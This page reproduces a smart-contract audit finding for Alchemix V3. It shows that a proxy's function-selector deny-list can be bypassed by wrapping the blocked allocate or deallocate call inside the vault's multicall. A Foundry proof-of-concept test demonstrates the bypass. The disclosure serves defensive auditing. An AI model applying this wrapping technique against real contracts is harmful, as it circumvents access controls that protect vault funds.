Skip to content
Access control Audit finding Intermediate

The permissionedcalls check can be bypass

The PermissionedProxy contract blocks direct calls to allocate and deallocate by checking a mapping of function selectors, but the VaultV2 multicall function is not blocked. An admin-level caller could therefore wrap a blocked call inside multicall and have it executed, bypassing the restriction.

ox9527 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

56878 sc medium the permissionedcalls check can be bypass

Submitted on Oct 21st 2025 at 13:10:35 UTC by @ox9527 for Audit Comp | Alchemix V3

Description

Brief/Intro

In the AlchemistAllocator::constructor() , allocate and deallocate is set to true via permissionedCalls mapping , to prevent PermissionedProxy.sol::proxy() function from invoking those two function , however VaultV2.sol::multicall() function is not add to permissionedCalls mapping.

Vulnerability Details

In the AlchemistAllocator::constructor():

Solidity
    constructor(address _vault, address _admin, address _operator) PermissionedProxy(_admin, _operator) {
        require(IVaultV2(_vault).asset() != address(0), "IV");
        vault = IVaultV2(_vault);

        // allocate(address adapter, bytes memory data, uint256 assets)
        permissionedCalls[0x5c9ce04d] = true;
        // deallocate(address adapter, bytes memory data, uint256 assets)
        permissionedCalls[0x4b219d16] = true;
    }

In the PermissionedProxy.sol::proxy() :

Solidity
    function proxy(address vault, bytes memory data) external payable onlyAdmin {
        bytes4 selector;
        require(data.length >= 4, "SEL");
        assembly {
          selector := mload(add(data, 32))
        }
        require(!permissionedCalls[selector], "PD");

        (bool success, ) = vault.call{value: msg.value}(data);
        require(success, "failed");
    }

However VaultV2.sol has multicall function , allocate and deallocate can be called via multicall function.

Impact Details

by pass the permissionedCalls check

References

Proof of Concept

Proof of Concept

Solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Test} from "forge-std/Test.sol";
import {VaultV2} from "../../lib/vault-v2/src/VaultV2.sol";
import {IVaultV2} from "../../lib/vault-v2/src/interfaces/IVaultV2.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {MockYieldToken} from "./mocks/MockYieldToken.sol";
import {IMockYieldToken} from "./mocks/MockYieldToken.sol";
import {MYTTestHelper} from "./libraries/MYTTestHelper.sol";
import {MockMYTStrategy} from "./mocks/MockMYTStrategy.sol";
import {AlchemistAllocator} from "../AlchemistAllocator.sol";
import {IAllocator} from "../interfaces/IAllocator.sol";
import {IMYTStrategy} from "../interfaces/IMYTStrategy.sol";
import "forge-std/console2.sol";
contract MockAlchemistAllocator is AlchemistAllocator {
    constructor(address _myt, address _admin, address _operator) AlchemistAllocator(_myt, _admin, _operator) {}
}

contract AlchemistAllocatorTest is Test {
    using MYTTestHelper for *;

    MockAlchemistAllocator public allocator;
    VaultV2 public vault;
    address public admin = address(0x2222222222222222222222222222222222222222);
    address public operator = address(0x3333333333333333333333333333333333333333);
    address public curator = address(0x8888888888888888888888888888888888888888);
    address public user1 = address(0x5555555555555555555555555555555555555555);
    address public mockVaultCollateral = address(new TestERC20(100e18, uint8(18)));
    address public mockStrategyYieldToken = address(new MockYieldToken(mockVaultCollateral));
    uint256 public defaultStrategyAbsoluteCap = 200 ether;
    uint256 public defaultStrategyRelativeCap = 1e18; // 100%
    MockMYTStrategy public mytStrategy;

    function setUp() public {
        vm.startPrank(admin);
        vault = MYTTestHelper._setupVault(mockVaultCollateral, admin, curator);
        mytStrategy = MYTTestHelper._setupStrategy(address(vault), mockStrategyYieldToken, admin, "MockToken", "MockTokenProtocol", IMYTStrategy.RiskClass.LOW);
        allocator = new MockAlchemistAllocator(address(vault), admin, operator);
        vm.stopPrank();
        vm.startPrank(curator);
        _vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.setIsAllocator, (address(allocator), true)));
        vault.setIsAllocator(address(allocator), true);
        _vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.addAdapter, address(mytStrategy)));
        vault.addAdapter(address(mytStrategy));
        // bytes memory idData = abi.encode("MockTokenProtocol", address(mytStrategy));
        bytes memory idData = mytStrategy.getIdData();
        _vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (idData, defaultStrategyAbsoluteCap)));
        vault.increaseAbsoluteCap(idData, defaultStrategyAbsoluteCap);
        _vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.increaseRelativeCap, (idData, defaultStrategyRelativeCap)));
        vault.increaseRelativeCap(idData, defaultStrategyRelativeCap);
        vm.stopPrank();
    }

    function test_POC_11() public {
        address alice = address(0x1001);
        _magicDepositToVault(address(vault), alice, 150 ether);

        vm.startPrank(admin);
        bytes32 allocationId = mytStrategy.adapterId();
        allocator.allocate(address(mytStrategy), 10 ether);

        //function allocate(address adapter, bytes memory data, uint256 assets) external {
        bytes memory data = abi.encodeWithSelector(
            IVaultV2.allocate.selector,
            address(mytStrategy),
            abi.encode(vault.allocation(allocationId)),
            10e18
        );

        //first call revert.
        vm.expectRevert();
        allocator.proxy(address(vault), data);

        //second call success.
        bytes[] memory datas = new bytes[](1);
        datas[0] = data;

        bytes memory mulSelector = abi.encodeWithSelector(
            IVaultV2.multicall.selector,
            datas
        );

        //multiple call.
        allocator.proxy(address(vault),mulSelector);

        //check allocation.
        console2.log(vault.allocation(allocationId));

        //10 + 10.
        assert(vault.allocation(allocationId) == 20e18);

    }

The original report as published on Immunefi, by ox9527. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the selector allow/deny check only inspects the outer call and does not account for the vault's multicall entry point, which can dispatch to the blocked functions internally.

Impact

The permissionedCalls restriction can be bypassed, so a caller with proxy access could invoke allocate or deallocate through multicall; the report does not show loss of funds, only that the check fails.

What the attacker needed

Admin or operator role on the proxy; vault has multicall enabled

How it was found

  1. Set up the vault, strategy and allocator, and make an initial allocation as admin.
  2. Build a direct allocate call and confirm the proxy rejects it.
  3. Wrap the same allocate call inside a multicall payload.
  4. Send the multicall payload through the proxy and observe that the allocation increases.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A proxy contract is meant to stop certain sensitive functions from being called through it by checking the first four bytes of the call data, which identify the function. The vault also has a multicall function that runs several calls in one transaction, and that function was not on the blocked list, so the sensitive calls could be smuggled inside it.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by ox9527

View all

13 more disclosed reports, best first.

More from Alchemix V3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.